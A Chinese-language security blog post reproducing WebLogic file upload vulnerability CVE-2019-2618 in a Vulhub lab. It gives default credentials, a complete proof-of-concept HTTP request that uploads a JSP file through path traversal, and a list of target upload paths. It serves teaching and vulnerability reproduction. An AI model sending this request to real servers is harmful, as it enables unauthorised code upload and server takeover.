zoukankan      html  css  js  c++  java
  • WebLogic任意文件上传漏洞(CVE-2019-2618)

    WebLogic任意文件上传漏洞(CVE-2019-2618)

    0x01 漏洞描述

    漏洞介绍

    CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

    影响版本

    WebLogic 10.3.6.0、12.1.3.0、12.2.1.3

    0x01 搭建漏洞环境

    利用Vulhub里的weblogic/CVE-2017-10271的weblogic版本作为漏洞环境,启动命令为:

    docker-compose up -d
    

    等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

    我们可以先进入容器内部

    [root@localhost CVE-2017-10271]# docker ps
    CONTAINER ID        IMAGE               COMMAND              CREATED             STATUS              PORTS                              NAMES
    dc73ec08c629        vulhub/weblogic     "startWebLogic.sh"   13 minutes ago      Up 13 minutes       5556/tcp, 0.0.0.0:7001->7001/tcp   cve-2017-10271_weblogic_1_e0c10faa85da
    [root@localhost CVE-2017-10271]# docker exec -it dc73ec08c629 /bin/bash
    root@dc73ec08c629:~/Oracle/Middleware# 
    

    0x02 漏洞复现

    漏洞前提是需要先获取weblogic的账号密码。可以爆破密码或者尝试默认账号密码(比较鸡肋)
    weblogic/weblogic
    weblogic/Oracle@123

    POC为:

    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 172.16.200.221:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
    serverName: zhengjim
    password: Oracle@123
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 238
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
    Content-Type: false
    
    <%
            out.print("123456"); 
    %>
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    

    发送数据包 ,返回了上传文件的地址

    1.png

    去访问发现执行成功

    2.png

    复现成功

    上传目录可以多尝试几个

    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_deployment_internal.war
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_internal.war 这是上传的路径
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal
    bea_wls_internal 
    bea_wls_deployment_internal 在同目录
    这是漏洞war位置
    

    漏洞修复

    Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞

    参考文献

    1. https://github.com/jas502n/cve-2019-2618
    2. http://sec.sangfor.com.cn/events/229.html
    3. https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
  • 相关阅读:
    CRM客户关系管理系统(十)
    CRM客户关系管理系统(九)
    CRM客户关系管理系统(八)
    CRM客户关系管理系统(七)
    CRM客户关系管理系统(六)
    5.使用Redis+Flask维护动态Cookies池
    1.数据结构--数组
    php接口安全设计浅谈
    python3 使用selenium +webdriver打开chrome失败,报错:FileNotFoundError: [Errno 2] No such file or directory: 'chromedriver': 'chromedriver'
    4.使用Redis+Flask维护动态代理池
  • 原文地址:https://www.cnblogs.com/zhengjim/p/10815150.html
Copyright © 2011-2022 走看看